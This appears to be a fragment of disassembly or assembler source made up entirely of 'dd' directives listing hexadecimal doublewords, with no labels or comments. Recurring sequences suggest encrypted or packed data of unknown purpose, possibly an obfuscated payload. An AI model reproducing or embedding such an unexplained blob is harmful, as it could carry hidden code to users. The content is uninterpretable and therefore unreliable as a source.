		dd 0B12D358h, 0ABE0CCF3h, 0E5B0A772h, 0D6A1B668h, 0EDD0E809h
		dd 0CD5B2F28h, 8BA9BA4Dh, 3770DB01h, 0DAA77265h, 12C7DCC2h
		dd 70BDF339h, 0CC3D359h, 0D2E4F48h, 8C32E720h, 958225BAh
		dd 0BDD5F6F5h, 0A372ABD7h, 41CE9B4h, 12C7F1DDh,	34CD3105h
		dd 706399DFh, 6269D359h, 0DCBA644Ah, 0BC268D7Fh, 72AB51C9h
		dd 1BE8B3A4h, 15404D61h, 98B0954Fh, 0C780127Dh,	83310512h
		dd 512C797h, 3CA1C318h,	0F06A04AFh, 7FB7EDCBh, 0B6BDD358h
		dd 4DCDB89Eh, 170413C7h, 311E39DEh, 5970B5EBh, 9CB4BBD3h
		dd 0C94DCDB6h, 92248F51h, 196C12C7h, 0EF78E151h, 6D1BA540h
		dd 0C2DFBCCh, 72AB17EBh, 749BB3A4h, 1056AB88h, 0D35970DAh
		dd 0DEC1D9E0h, 0AB4A1E39h, 0AB15E389h, 0C8E0507Fh, 56AB6BEBh
		dd 5970DA10h, 0C1D9E0D3h, 8D7FF3D1h, 6DADD326h,	0AB92248Fh
		dd 0ECB7A072h, 7724071Fh, 97838C60h, 59D5BBBAh,	89AB9BD3h
		dd 80ECAF24h, 0C4CA4877h, 0BE455D92h, 0F7A2859Dh, 4DCD0CE0h
		dd 390413C7h, 0AB1EA46Ch, 9AB2A572h, 0B8F1469Bh, 5F2CF7E0h
		dd 59704B81h, 324A51D3h, 59700C42h, 267212D3h, 1007D73Bh
		dd 1EBE7845h, 8A5E7FC6h, 56AB9783h, 5970DA10h, 0C1D9E0D3h
		dd 597097D1h, 10C777D3h, 7E833307h, 70ADE329h, 0ACB3D359h
		dd 10C7AE94h, 4DCD3307h, 509FBFBAh, 51C99F13h, 0AB92248Fh
		dd 0A5EBA072h, 0D359706Fh, 354D6E75h, 0A3908752h, 70D2084Eh
		dd 0D1D8D359h, 72ABD3B9h
		dd 71F7B1A6h, 0D691397Eh, 0C7B3DAF2h, 330710C7h, 0B2A572ABh
		dd 592433E1h, 1797748Ch, 310512C7h, 51C94DCDh, 4079248Fh
		dd 0E1AE799Eh, 814C4B10h, 0C7B69CB4h, 83330710h, 5710C797h
		dd 0FDCA9582h, 4DCD08DCh, 0B1A672ABh, 9FAEA999h, 0C78E1350h
		dd 0BB380314h, 6C31FC1Bh, 1E09E853h, 92248FDEh,	0DA1056ABh
		dd 0E0D35970h, 3BDEC1D9h, 9783481Ch, 6BA989ABh,	1A36B971h
		dd 1EF85E02h, 0A472AB4Ah, 25BE9BB3h, 162E29ECh,	3417C730h
		dd 5970B8EEh, 3397FD3h,	9D35970h, 934D5402h, 2BC5CF4h
		dd 6E426388h, 0B1A672ABh, 0DA0119E6h, 0CD4AD0EEh, 710C74Dh
		dd 88E5F81Ah, 8F7A2EADh, 97839177h, 89AB8A90h, 42495781h
		dd 3225F3E0h, 61799A67h, 596F3B71h, 51C91BD3h, 9892248Fh
		dd 0CD4AD082h, 512C74Dh, 5C7E8331h, 1E13674Bh, 81677FE0h
		dd 84BA8A90h, 64D35970h, 9DE338C9h, 0D3597067h,	684E666Dh
		dd 0EDB389ABh, 859F247Bh, 55E7526Dh, 11C78298h,	4DCD3206h
		dd 74AA89ABh, 0EAF58972h, 0ABB2B8D2h, 0ECB7A072h, 0CB690386h
		dd 74951834h, 0A7366C5Ch, 0AD16D358h, 5B7C1B54h, 57401390h
		dd 8F381E36h, 82989224h, 2F0314C7h, 31D04DCDh, 706096DCh
		dd 5F66D359h, 65AB6147h, 0D359702Fh, 1F412E35h,	6A821BBAh
		dd 0CDB3CB3Ah, 0EBBA9783h, 0CB1A3F80h, 2F0314C7h, 11C79783h
		dd 7EC41906h, 0D3597048h, 492F474Eh, 80BA4DCDh,	60D35970h
		dd 320611C7h, 91457E83h, 0F4E3B586h, 11C7F6DCh,	3AE01906h
		dd 0CD1F051Dh, 314C74Dh, 0A372AB2Fh, 2136E3B4h,	94718956h
		dd 8F6DAD14h, 11C79224h, 0CC978056h, 830ADEFFh,	314C797h
		dd 0C74DCD2Fh, 0CD320611h, 314C74Dh, 0C797832Fh, 83320611h
		dd 611C797h, 0C7978332h, 0CD2F0314h, 58D7C34Dh,	248F8892h
		dd 7B9C4079h, 716633B0h, 0BDDA7F50h, 270D25F2h,	2F0314C7h
		dd 12C79783h, 56AB3105h, 5970DA10h, 1FD9E0D3h, 903C7D74h
		dd 0FCD9F133h, 0E53ABA7Ch, 0AC01F60Bh, 0BE53066h, 0DD7F36F6h
		dd 9B8199BAh, 310512C7h, 72AB9783h, 0B89BB3A4h,	0B005F2E5h
		dd 5970346Ah, 1B333AD3h, 0C74DCD35h, 0AB310512h, 5411BF89h
		dd 58A0D80Eh, 1DD7DED3h, 546CF60Bh, 0F2A5DE77h,	0C7E7CDE5h
		dd 0B8350017h, 5926F1E6h, 0FBC6D188h, 5736A1B2h, 248FE9AFh
		dd 28EB2479h, 701B512Fh, 1A21D359h, 14C71C02h, 7E832F03h
		dd 0B1829545h, 0F8DEF6E1h, 310512C7h, 93457E83h, 703C72B8h
		dd 3B42D359h, 6A824F1Ah, 3615C784h, 5970BAF0h, 98B9C0D3h
		dd 0BA4DCDC4h, 0DAAB1C1h, 215C7A1h, 0AB97832Eh,	9BB3A472h
		dd 6F3E4B8h, 70356BB1h,	4518D359h, 859DA452h, 0AB4DCD9Fh
		dd 70DA1056h, 0D9E0D359h, 0DA21D1C1h, 0AD011E31h, 92248F6Dh
		dd 2E0215C7h, 15C79783h, 82C88352h, 0D359704Ch,	592A4B52h
		dd 0A5799ABDh, 5BFB34CDh, 8CA4713Ch, 5EADC3A6h,	3A0512C7h
		dd 2DF81FBDh, 1FEEE9B0h, 21280772h, 17C700h, 72AB02E8h
		dd 809BB3A4h, 89AB8315h, 9237756Fh, 0F8DBF396h,	835F3324h
		dd 215C797h, 0FB34CD2Eh, 0A7743F58h, 50BAA98Fh,	1781FA16h
		dd 16467CC2h, 954C81FAh, 3E0BD6C1h, 0F01F051Dh,	1502D811h
		dd 7F657D4Ah, 0DA1056ABh, 0E0D35970h, 3BA6C1D9h, 94835790h
		dd 15C7967Ch, 97832E02h, 2F0314C7h, 15C74DCDh, 76978052h
		dd 7889ABA2h, 30DA404Eh, 0C646233Bh, 248F51C9h,	314C792h
		dd 0A072AB2Fh, 0C75CFDB7h, 6E1B0D24h, 0D52A2F56h, 58A9598Fh
		dd 2C9E53D3h, 0B43AA66h, 583E565Dh, 2E0215C7h, 95457E83h
		dd 0C7846A82h, 0CD2F0314h, 611C74Dh, 0C7978332h, 0AB2F0314h
		dd 0E9B4A372h, 0F474783h, 0C2D01CCh, 90A3D91Fh,	0A2A9D358h
		dd 0AB77638Ah, 70DA1056h, 0D9E0D359h, 1B3CDEC1h, 1056AB47h
		dd 0D35970DAh, 0A6ECD9E0h, 0D3597070h, 7A576F76h, 2989ABFAh
		dd 4278BE30h, 48D358BFh, 0B1628741h, 10C8ABC3h,	4DCD3307h
		dd 89AB1FFBh, 780C7244h, 0A6C1D9BAh, 17C7A93Bh,	97832C00h
		dd 34CD4AD0h, 223A5DFBh, 5611C73Ch, 9B6F9087h, 0DA1056ABh
		dd 0E0D35970h, 455208D9h, 901A062Dh, 0A0D61C71h, 0A6D35970h
		dd 0BAA1879Fh, 0D3597084h, 8F51C964h, 82989224h, 0EE3417C7h
		dd 0D35970B8h, 0C296B7BEh, 291234CDh, 183FDA57h, 5E11FD5Eh
		dd 85BA6046h, 65D35970h, 67AD02FFh, 0D3597031h,	32183037h
		dd 168889ABh, 0AF7A9D39h, 25D828E2h, 9B062139h,	0F7E0AA09h
		dd 0F8391BA7h, 1E000001h, 99DAD1FCh, 5870750Fh,	2489AB72h
		dd 0B8D4EC6Bh, 9E3A1D35h, 4DCDA579h, 84BA8A90h,	64D35970h
		dd 248F6DADh, 0C7829892h, 0CD300413h, 0AB4AD04Dh, 59702F65h
		dd 5A2E35D3h, 83BA9783h, 63D35970h, 170413C7h, 51D3ADEh
		dd 457E831Fh, 1700D295h, 465E2BF6h, 6B13C760h, 3D129E4Ah
		dd 0A97D9E98h, 0B82589ABh, 30D468EDh, 5FC15FF9h, 879FC02Eh
		dd 76BC11AAh, 0D358BD40h, 77FDA646h, 0ED088CC5h, 0C7CEB4CCh
		dd 0AB320611h, 0E5B0A772h, 0EDD90018h, 4DCD4AD0h, 0A16B13C7h
		dd 15A69A1h, 83C69ABBh,	0BA8A9097h, 0D3597084h,	0FF38C964h
		dd 3E243C5Bh, 4079248Fh, 81677F98h, 56AB8298h, 5970DA10h
		dd 0FF18BDD3h, 4F324A51h, 0CDB4888Fh, 0A52CBA4Dh, 0BAF30BB6h
		dd 602DF81Fh, 15C76248h, 76978052h, 6B6C2EABh, 0E6514CA0h
		dd 0ABDC1C07h, 9FE5A672h, 0D3597069h, 2F47686Fh, 0C717A914h
		dd 0CC586717h, 0FD9B9C20h, 2A94CA10h, 939AD359h, 97839E72h
		dd 0EE3417C7h, 0D35970B8h, 2EDCFB9Bh, 92B3A477h, 34CD9D71h
		dd 6D385FFBh, 8395E6A0h, 701F0F5Dh, 11C77258h, 7EC41906h
		dd 0D3597048h, 0BC6A6D2Bh, 7C475005h, 90768EAFh, 0DA1056ABh
		dd 0E0D35970h, 64E4C1D9h, 248F51C9h, 17C792h, 0AB97832Ch
		dd 70DA1056h, 0D9E0D359h, 1B3CDEC1h, 0A072AB47h, 2532E6B7h
		dd 98758D5Ah, 0A52CBA18h, 0C90C0BB6h, 92248F51h, 626C89ABh
		dd 0B114E934h, 0EEC0A24h, 364E6F99h, 0A7948353h, 93ABAC6Eh
		dd 0DD89ABADh, 5A09A5EFh, 0D8FF996Ah, 0D0AD99C0h, 0FB34CD4Ah
		dd 0A7743F58h, 72ABA98Fh, 18E5B0A7h, 5C7B1D00h,	90978388h
		dd 72653871h, 0DCC2DAA7h, 597084BAh, 14C764D3h,	1BBB3803h
		dd 936431FCh, 0B408D3C4h, 0A3D64EB9h, 0A71B6BC8h, 148C5B7Ch
		dd 9892248Fh, 0BF16C82h, 0C7AE0000h, 0CD2C0017h, 0C489AB4Dh
		dd 0B7A075EAh, 80AAB8FDh, 7A5EFE96h, 0A2BADB2Eh, 58BD83B2h
		dd 10C763D3h, 1DBF3C07h, 7B42FFAh, 4024BD9Ch, 766889ABh
		dd 6C380B30h, 0BA19F2B2h, 5A724B11h, 0AA42D43Fh, 1BA7F7E0h
		dd 0A97E1D56h, 511EE9EEh, 2EFF6530h, 0A45DF625h, 69859DBEh
		dd 6ABh, 0E89AB67h, 699AD651h, 0C3C9E3FBh, 597084BAh, 6DAD64D3h
		dd 2479248Fh, 5970A8DEh, 8FA7AED3h, 0AB8298A9h,	9AB2A572h
		dd 22F6E1B7h, 4AD04DCDh, 702F65ABh, 7E35D359h, 1D02BCDBh
		dd 644DE56Bh, 83B98DAEh, 0FB3BBA97h, 0C71BD35Ch, 83320611h
		dd 9B51BA97h, 0C731D359h, 0CD330710h, 0AB4AD04Dh, 59702F65h
		dd 5A2E35D3h, 4CBA9783h, 2C1540B5h, 330710C7h, 29AF89ABh
		dd 0C8876777h, 165F95DBh, 5E65D359h, 0C7331F46h, 0CD330710h
		dd 98F9BA4Dh, 7FD944B4h, 1056AB9Bh, 0D35970DAh,	91C70DE0h
		dd 97D35970h, 3C576F90h, 10C73FD1h, 97833307h, 2C9289ABh
		dd 0BBABE127h, 0AAB1D358h, 920331F0h, 0D7C0977Ah, 764DCD03h
		dd 0C79783A4h, 0E11A0710h, 8C592433h, 4DCD8E74h, 0F55E13BAh
		dd 12C7F3C1h
		dd 1DBD3A05h, 6D6A29FAh, 0F7A27A2h, 8FC28830h, 99407924h
		dd 0C780667Eh, 83330710h, 17C797h, 0C74DCD2Ch, 0CD330710h
		dd 3714C74Dh, 5970BBF1h, 99BAC1D3h, 938451CEh, 35A04DC8h
		dd 700E448Ah, 0D14D359h, 8FA51DECh, 0DE247924h,	0D35970A8h
		dd 0A98FA7AEh, 2C0017C7h, 10C79783h, 72AB3307h,	405702A5h
		dd 9A87A875h, 59701E54h, 51D24D3h, 17C7F2DEh, 4DCD2C00h
		dd 190611C7h, 0F3296FC4h, 0F9D3596Fh, 70DE14F2h, 0DDE4D359h
		dd 4DCDDFC5h, 390413C7h, 70245AA0h, 232AD359h, 0C8938452h
		dd 0C48F884Bh, 0E9544FF7h, 8FC33B0Ah, 17C79224h, 97832C00h
		dd 150215C7h, 70447AC0h, 774AD359h, 596FFB31h, 0D9FA01D3h
		dd 34CDDBC1h, 1533912h,	536BBC0Ah, 0EF11BA6Dh, 0C7F133F4h
		dd 0E2406915h, 0D5EA7408h, 7E83E0B4h, 2E29F029h, 59701A50h
		dd 11920D3h, 17C71Bh, 0C74DCD2Ch, 0BAF03615h, 0C0D35970h
		dd 0CDC498B9h, 512C74Dh, 2E1DBD3Ah, 5970B2E8h, 90B1B8D3h
		dd 0B7671C5h, 8F01412Ch, 17C79224h, 97832C00h, 2E0215C7h
		dd 4AD09783h, 5FFB34CDh, 0C73A2038h, 97805611h,	9783A276h
		dd 84BA8A90h, 64D35970h, 248F51C9h, 0A472AB92h,	25465103h
		dd 93CCFB0Dh, 730CD7C0h, 596FF72Dh, 0D5F6FDD3h,	15C7D7BDh
		dd 35E28552h, 69360122h, 7000367Ch, 0FF06D359h,	32CFF1DEh
		dd 4B81C7AFh, 51D3593Eh, 366B904Ah, 0CDCEB4CCh,	0B333BA4Dh
		dd 0C7132AE2h, 832E0215h, 314C797h, 1F38DD16h, 4DCD2107h
		dd 0E99E78BAh, 14C75810h, 97832F03h, 2F0314C7h,	18BA4DCDh
		dd 0F82200B9h, 0F7EF11F0h, 0D71FBF4Bh, 8F826880h, 9D407924h
		dd 28E2AF7Ah, 16490181h, 795F771Ch, 2F0314C7h, 14C79783h
		dd 70BBF137h, 0BAC1D359h, 0A8AAC99h, 985DD260h,	0ABC0A6BEh
		dd 0B432EC89h, 0DAC74866h, 58D75E94h, 455D64D3h, 81BAE868h
		dd 48D35970h, 22589EF3h, 28D35970h, 700D4321h, 0C13D359h
		dd 3BC60EF4h, 55425502h, 5970D90Fh, 0C0D8DFD3h,	92248FDAh
		dd 2F0314C7h, 11C79783h, 4DCD3206h, 0B0729ABAh,	11C77A21h
		dd 7EC41906h, 0D3597048h, 0A16C6B2Bh, 0AC6F26D4h, 0F213E0ABh
		dd 96617621h, 0ABCBB1C9h, 0A5CFDD89h, 7C943B33h, 11C76955h
		dd 30E48356h, 6E8F5C27h, 8EC40AA3h, 94D35970h, 774B6C8Dh
		dd 0B51689ABh, 432F65ABh, 2E35D359h, 0B8D25774h, 0BA43C3A0h
		dd 3EF8AB49h, 0AB2AF029h, 0A5B3DD89h, 0E1F99398h, 0C7C95BC6h
		dd 90875611h, 3D7F8C5h,	14C79783h, 4DCD2F03h, 320611C7h
		dd 9B7F4DCDh, 0C792248Fh, 0AB2F0314h, 9DB5A272h, 11C78A76h
		dd 0DB6E136Dh, 0A7C8BD67h, 9D4198BAh, 507CEF09h, 72AB5238h
		dd 6AE7B2A5h, 768EAFA8h, 14C7634Fh, 4DCD2F03h, 0C87289ABh
		dd 0A816473Ah, 0A53F75BBh, 3E45D358h, 55573626h, 0C93767DEh
		dd 92248F51h, 2F0314C7h, 9EA489ABh, 0C0EF5F6Ch,	0C79581A8h
		dd 0CD2E0215h, 0D79BBA4Dh, 0C77BDB55h, 0BA370215h, 0B7ED3318h
		dd 0BDD35970h, 81CA95B6h, 57260570h, 1056ABDFh,	0D35970DAh
		dd 91C70DE0h, 97D35970h, 0FF9E6F90h, 28400DD8h,	0C710A20Dh
		dd 832E0215h, 0A672AB97h, 75405701h, 0EFBC87A8h, 3720F4D7h
		dd 0A146114Ah, 0FAC5E6F1h, 9DBA5C2Dh, 7ED05D2h,	14C74DCDh
		dd 4DCD2F03h, 248F6DADh, 215C792h, 0A372AB2Eh, 89759CB4h
		dd 2E0215C7h, 5BFB34CDh, 8CA4713Ch, 0D79BBAA6h,	0AD7BDB55h
		dd 92248F6Dh, 2E0215C7h, 14C79783h, 72AB2F03h, 1CE9B4A3h
		dd 0C7F1DD04h, 0C4190611h, 5970487Eh, 2F474ED3h, 0AB4DCD49h
		dd 0FE553689h, 657D2E1Ch, 5E62175h, 4D93E84Ch, 4C05E617h
		dd 6D385FFAh, 0D91FF2A0h, 4C05E6A3h, 6981A2A9h,	611C783h
		dd 8BBFF719h, 0FDAA3587h, 3A2E6266h, 627A9BAFh,	0C797837Ch
		dd 0BAF03615h, 0C0D35970h, 0CDC498B9h, 5611C74Dh, 9E729384h
		dd 54AD4DCDh, 0BFDCF732h, 8AA21C41h, 92248FA4h,	875215C7h
		dd 0D7F8C590h, 0F0E7B1EAh, 89ABF2D8h, 5F7E7CB6h, 81A8C03Eh
		dd 0CD4AD095h, 611C74Dh, 1056AB32h, 0D35970DAh,	2EF91EBDh
		dd 94ACB361h, 8A90816Dh, 597084BAh, 45124BD3h, 0C9543A52h
		dd 92248F51h, 15C78298h, 70BAF036h, 0B9C0D359h,	4DCDC498h
		dd 197AE4BAh, 9B7FC432h, 0C792248Fh, 77146915h,	52D63A9h
		dd 2C33D359h, 5C6DFB72h, 9783673Bh, 2E0215C7h, 81BA4DCDh
		dd 48D35970h, 354D4A0Fh, 8F93874Fh, 56AB9224h, 5970DA10h
		dd 0C1D9E0D3h, 0AE693EDEh, 1B3C5BF9h, 1601D350h, 3C5D7E4Bh
		dd 297E8368h, 5970ADE3h, 94ACB3D3h, 215C7AEh, 0BA4DCD2Eh
		dd 3CA1DCF8h, 8F51C9D8h, 15C79224h, 97832E02h, 0A772ABh
		dd 4E193A5Dh, 0D6866981h, 4DCDEDC1h, 915CD3C3h,	79248F89h
		dd 0B67BEE57h, 7E96C035h, 215C798h, 0A272AB2Eh,	706DA3E9h
		dd 6C73D359h, 70C334Bh,	83580FCEh, 755B7394h, 2E0215C7h
		dd 0B0A772ABh, 0A5B268E5h, 0F8F6C84h, 9A18CFBAh, 2AF0AFD5h
		dd 0AB92248Fh, 70DA1056h, 1BBDD359h, 0B66431FCh, 0B60BEE16h
		dd 2A4BB3EAh, 6A6D2F12h, 0D0215B7Dh, 0A5B144E9h, 9783A78Dh
		dd 130017C7h, 704AA8F1h, 0A0B83357h, 0AB4DCDBAh, 70DA1056h
		dd 1ABDD359h, 0B76532FDh, 723D5A00h, 896C84A5h,	0A97E1CCBh
		dd 0A6C7E8EFh, 0AD4DCDD2h, 92248F6Dh, 0EE3417C7h, 0D35970B8h
		dd 0A996B7BEh, 92AAAD70h, 0C79783ACh, 832E0215h, 4E96C97h
		dd 0BAAE0000h, 0D359BE39h, 5017C719h, 986C8D8Ah, 0B7A072ABh
		dd 2A071FECh, 0AB4AD0AAh, 59702F65h, 0E2D4F6D3h, 0D7C09349h
		dd 0FA84991Dh, 471B22E2h, 72AB9783h, 18E5B0A7h,	0B9849347h
		dd 27F1D4ECh, 70E81E64h, 37EED359h, 34557661h, 0FB34CD60h
		dd 0A26F3A5Dh, 8A90A48Ah, 320611C7h, 0B7A072ABh, 0AB8C789Fh
		dd 1C9E5489h, 0BBD3E872h, 431700D8h, 84BA4DCDh,	64D35970h
		dd 9DE338C9h, 0D3597067h, 684E666Dh, 0DA1056ABh, 0A1D35970h
		dd 5970255Bh, 76242BD3h, 0D9FE9E6Fh, 0A93BA6C1h, 320611C7h
		dd 11C79783h, 4DCD3206h, 597084BAh, 6DAD64D3h, 4079248Fh
		dd 7B61799Eh, 320611C7h, 4AD09783h, 11C74DCDh, 4DCD3206h
		dd 65AB4AD0h, 0D3597033h, 0B43D8FAh, 0F861970Bh, 451920E0h
		dd 91457E83h, 0C7886E86h, 83320611h, 0DF89AB97h, 0FFC7A785h
		dd 0E8FE1028h, 616E10C7h, 0A5D7297Ah, 82A1738h,	5D79E9B1h
		dd 0C0A6BE3Ch, 93DE4DCDh, 0A9915BBCh, 38AAE026h, 0A9B0D359h
		dd 0F6E1B788h, 10965E2Bh, 702F65ABh, 2E35D359h,	0BA97835Ah
		dd 0D3597084h, 5344124Bh, 0BDA3BB88h, 0F53B10C7h, 0D35970BFh
		dd 2BEDBEC5h, 83370B2Ch, 314C797h, 4A36B38h, 703369AFh
		dd 3239D359h, 65AB341Ah, 0D359702Fh, 0FA1DBDF6h, 471B22E2h
		dd 2CBA4DCDh, 0C0E79BCh, 5FFF38C9h, 0A5C6D188h,	10F574DAh
		dd 5288F1BDh, 8F331931h, 4AD09224h, 702F65ABh, 9535D359h
		dd 41F12429h, 0AD81A246h, 702F65ABh, 2E35D359h,	0AA89AB5Ah
		dd 1E17238h, 0FE032A42h, 370215C5h, 0D06C526Ah,	2F65AB4Ah
		dd 35D35970h, 72AB5A2Eh, 1DEAB5A2h, 0BF8A8D4Ch,	7DFDDAF2h
		dd 0DA1056ABh, 0E0D35970h, 3BDEC1D9h, 70D40A50h, 23DAD359h
		dd 0CE9B6671h, 0CDB88CADh, 8F51C94Dh, 4AD09224h, 702F65ABh
		dd 2E35D359h, 156AB5Ah,	597085BBh, 6C848BD3h, 5970467Ch
		dd 71454CD3h, 96457E83h, 0EF1007D1h, 0BFDEF1D7h, 883687D8h
		dd 0AB49CF97h, 8B333456h, 8D77C5FBh, 0D18B202Ah, 0B9D1EF70h
		dd 587E93C9h, 71C699D3h
		dd 587DF52Bh, 16F4FBD3h, 0D3587EE0h, 0EABEDFE6h, 0B3A472ABh
		dd 26031BE8h, 0BC2CBAA6h, 9EF30E79h, 79BC2258h,	921280Eh
		dd 0AB6DAD23h, 0CA610289h, 203804D7h, 0DE089A05h, 9547757Fh
		dd 0A82EF6B6h, 7E1D56ABh, 0A9C18E59h, 597083B9h, 45114AD3h
		dd 737A3A52h, 2F65AB9Fh, 0F6D35970h, 0E1F91EBDh, 0AB461A21h
		dd 70DA1056h, 0D9E0D359h, 2F475008h, 4AD01C08h,	166889ABh
		dd 3FD3DE30h, 0D0CA4A27h, 8289AB4Ah, 7F034A34h,	0EF6F4C64h
		dd 330710C7h, 8A909783h, 597084BAh, 51C964D3h, 9892248Fh
		dd 0BA8A9082h, 0D3597084h, 8F51C964h, 9A407924h, 987F657Dh
		dd 0CD4AD082h, 17C74Dh,	0A372AB2Ch, 41CE9B4h, 17C7F1DDh
		dd 4DCD2C00h, 17C78A90h, 7E832C00h, 0BA859245h,	90EFD5EDh
		dd 7084BA8Ah, 0AD64D359h, 79248F6Dh, 70A8DE24h,	0A7AED359h
		dd 56ABA98Fh, 5970DA10h, 0C1D9E0D3h, 72AB99AFh,	0B598B0A7h
		dd 879046E1h, 89AB9266h, 1E2F4D67h, 4C927FE7h, 0D3587616h
		dd 20FD151Ch, 0AB4AD0A0h, 0E8B3A472h, 0BE04031Bh, 0D3597088h
		dd 83B3878Eh, 7084BA97h, 0C764D359h, 0DD396B13h, 28D2C701h
		dd 0F46A2C6Eh, 3E5F50FEh, 0C797836Ah, 0CD2C0017h, 8333BA4Dh
		dd 0C9130AECh, 679DE338h, 6DD35970h, 8F684E66h,	17C79224h
		dd 0C18C8B50h, 91E6D3F4h, 70C0F63Ch, 0BFC6D359h, 5970ABE1h
		dd 92AAB1D3h, 0AB9783ACh, 9DB5A272h, 2BFF18BAh,	13C74DCDh
		dd 56AB3004h, 5970DA10h, 0C1D9E0D3h, 0B0F64BE4h, 0D359707Ah
		dd 9FEED774h, 0B4623901h, 0C7AF95ADh, 713F6915h, 70280F07h
		dd 5107844Fh, 9DB67B46h, 0C845332h, 0C792248Fh,	0DA130017h
		dd 0A6B1683Fh, 0D5EDBA85h, 457E83EFh, 846A8295h, 2C0017C7h
		dd 33BA4DCDh, 130AEC83h, 248F6DADh, 1056AB92h, 0D35970DAh
		dd 0DC1FD9E0h, 0EAFAA4CCh, 0BE60435Bh, 92A2DE9h, 7289AB35h
		dd 8FE33AF0h, 0B2A57344h, 0DB021AE7h, 53B81D6h,	0BD3591Eh
		dd 0C706EC04h, 0DE170413h, 0D6531E39h, 0DDF51601h, 0C79783F7h
		dd 898E5017h, 4DCD9468h, 597084BAh, 51C964D3h, 0C792248Fh
		dd 832C0017h, 17C797h, 1EBF113h, 13F6B2B3h, 4DCD15FBh
		dd 65AB4AD0h, 0D359702Fh, 0EC412E35h, 597070A6h, 576F76D3h
		dd 0FB34CD71h, 0AE7F395Eh, 0D04E76A6h, 0C7B197AFh, 832C0017h
		dd 2F65AB97h, 35D35970h, 9ABD5D2Eh, 0B43A02CFh,	702F65ABh
		dd 2E35D359h, 0D097835Ah, 0FB34CD4Ah, 0C8CF8B5Ch, 0F70FDCA7h
		dd 30699811h, 0FB1CB96Eh, 90DCC2DAh, 7084BA8Ah,	0C764D359h
		dd 0BC390413h, 0DC30FB1Ch, 0AC9776E1h, 92248F6Ch, 6E306998h
		dd 0C76B5169h, 0DA130017h, 824F1A3Dh, 28F3E4B1h, 0CD5D435Bh
		dd 0AB4AD04Dh, 59702F65h, 5A2E35D3h, 10C79783h,	4DCD3307h
		dd 589484BAh, 10C76453h, 97833307h, 3C0413C7h, 2F65ABB6h
		dd 35D35970h, 4DCD5A2Eh, 330710C7h, 51C94DCDh, 0D092248Fh
		dd 3A89AB4Ah, 2B2CEB20h, 0B2D99360h, 0FCFB13C1h, 595080B6h
		dd 0AB7F86D3h, 622F89ABh, 766A15F7h, 0E3195F5Eh, 0AAD358F8h
		dd 5704A371h, 47071F40h, 97836C40h, 34CD4AD0h, 733E59FBh
		dd 0C7A88EA6h, 0E11A0710h, 280E2631h, 91457E83h, 1DEEBB86h
		dd 5C425A7Dh, 65387190h, 0D18409D9h, 3657FCF6h,	0A0869E6Bh
		dd 597084BAh, 51C964D3h, 9892248Fh, 0C5110682h,	5465ABF1h
		dd 5ADB018Bh, 21446653h, 54BCE96Ch, 831F051Dh, 215C797h
		dd 1234CD2Eh, 0C6606698h, 86562748h, 0E1F9C691h, 0B138BAFBh
		dd 0AB1818F2h, 70DA1056h, 0D9E0D359h, 193EDEC1h, 0A472AB45h
		dd 31BE8B3h, 15C7F0DCh,	4DCD2E02h, 597081BAh, 938761D3h
		dd 0C792248Fh, 832E0215h, 17C797h, 0B589AB2Ch, 35CF7DF3h
		dd 0BB3B1830h, 0BF53CDBAh, 17C7AD0Dh, 97832C00h, 9B6915C7h
		dd 1A9C63B9h, 0AB08DCFDh, 70DA1056h, 0D9E0D359h, 0C764E4C1h
		dd 0CD2C0017h, 710C74Dh, 0FF18BF3Ch, 6FDAEB34h,	0E30C190h
		dd 0A1A28FDAh, 4EA0258h, 0C792248Fh, 0C0150215h, 5970447Ah
		dd 2B434AD3h, 457E8345h, 846A8295h, 0B7A072ABh,	24071FECh
		dd 83916572h, 156AB97h,	597085BBh, 0A6848BD3h, 0D3597070h
		dd 0B3576F76h, 0AB9E72A2h, 18B5465h, 7F535ADBh,	89AB4DCDh
		dd 5927E15Fh, 0BFA2BAA3h, 0CD26FA1Dh, 8F6DAD4Dh, 11069224h
		dd 56ABF1C5h, 7085BB01h, 0B168D359h, 0D9F1F8A6h, 18BD8E9h
		dd 0F03EDEDBh, 7FE5B8CCh, 83512546h, 0A572AB97h, 0E5B79AB2h
		dd 97831EF2h, 59D922BAh, 17C702D3h, 0C0F11300h,	67E28882h
		dd 0B5D6C193h, 5A2532E4h, 0CD8F758Dh, 0AB4AD04Dh, 59702F65h
		dd 5A2E35D3h, 0DA1056ABh, 0E0D35970h, 0AE9AC1D9h, 2B3563DEh
		dd 0F5291E61h, 4D9C5639h, 47E6AE2Dh, 834E490Eh,	0CDB89EB6h
		dd 512C74Dh, 0C7978331h, 0CD310512h, 0C78A904Dh, 83310512h
		dd 0C51DBA97h, 0ABFDD359h, 0E5B0A772h, 7B1D0018h, 9A3EE9ACh
		dd 0C4E5B27Dh, 4DCDCFA3h, 89AB4AD0h, 0CC63359Bh, 16152D45h
		dd 0F0266CC1h, 0F6D358D3h, 0B1E7D7EFh, 0B7D358D4h, 0D4689EE4h
		dd 676ED358h, 97837246h, 0B5A272ABh, 15051DEAh,	17B0843Bh
		dd 611C71Bh, 0C7978332h, 0CD320611h, 83DCBA4Dh,	0ADBC17B0h
		dd 79248F6Dh, 0B27D9A40h, 0ABE7CDE5h, 731CA272h, 78663B9Bh
		dd 0AB8EA6C7h, 0AB16EAEDh, 0AA64E289h, 0D2EA4389h, 72ABBFABh
		dd 62F6B0A7h, 47BA2AF4h, 7B20031Bh, 4DCD885Ch, 0E9EDEFBAh
		dd 13C7CF19h, 70BCF238h, 0BBC2D359h, 8352CF9Ah,	884CC994h
		dd 5AF7C48Fh, 14FFDE49h, 92248FD4h, 310512C7h, 12C79783h
		dd 39DF1805h, 0B5EB311Eh, 0BBD35970h, 0CDB69CB4h, 611C74Dh
		dd 0C94DCD32h, 92248F51h, 310512C7h, 6E6489ABh,	77CA162Ch
		dd 0C74C385Fh, 92855512h, 4DCD9D71h, 0E9EDEFBAh, 1B61B619h
		dd 19E9EEE5h, 0E6CCE4EBh, 3A0512C7h, 34FF18BDh,	0DEBD289Dh
		dd 248F970Fh, 512C792h,	297E8331h, 5970ADE3h, 94ACB3D3h
		dd 611C7AEh, 0AB978332h, 70DA1056h, 0D9E0D359h,	1E39DEC1h
		dd 0DF34CD4Ah, 59706399h, 0AEE42AD3h, 0B4D35970h, 3EF8FFADh
		dd 0EF1DAB55h, 52385096h, 0B2A572ABh, 12021AE7h, 0D35970DCh
		dd 512C7BCh, 0FD1ABD3Ah, 6DD8E932h, 8F47BF8Eh, 12C79224h
		dd 97833105h, 3A0512C7h, 0CD1FA56Dh, 512C74Dh, 0D04DCD31h
		dd 65D0F31h, 5A2E9225h,	0C07AFD19h, 738B792Ah, 0A372AB8Dh
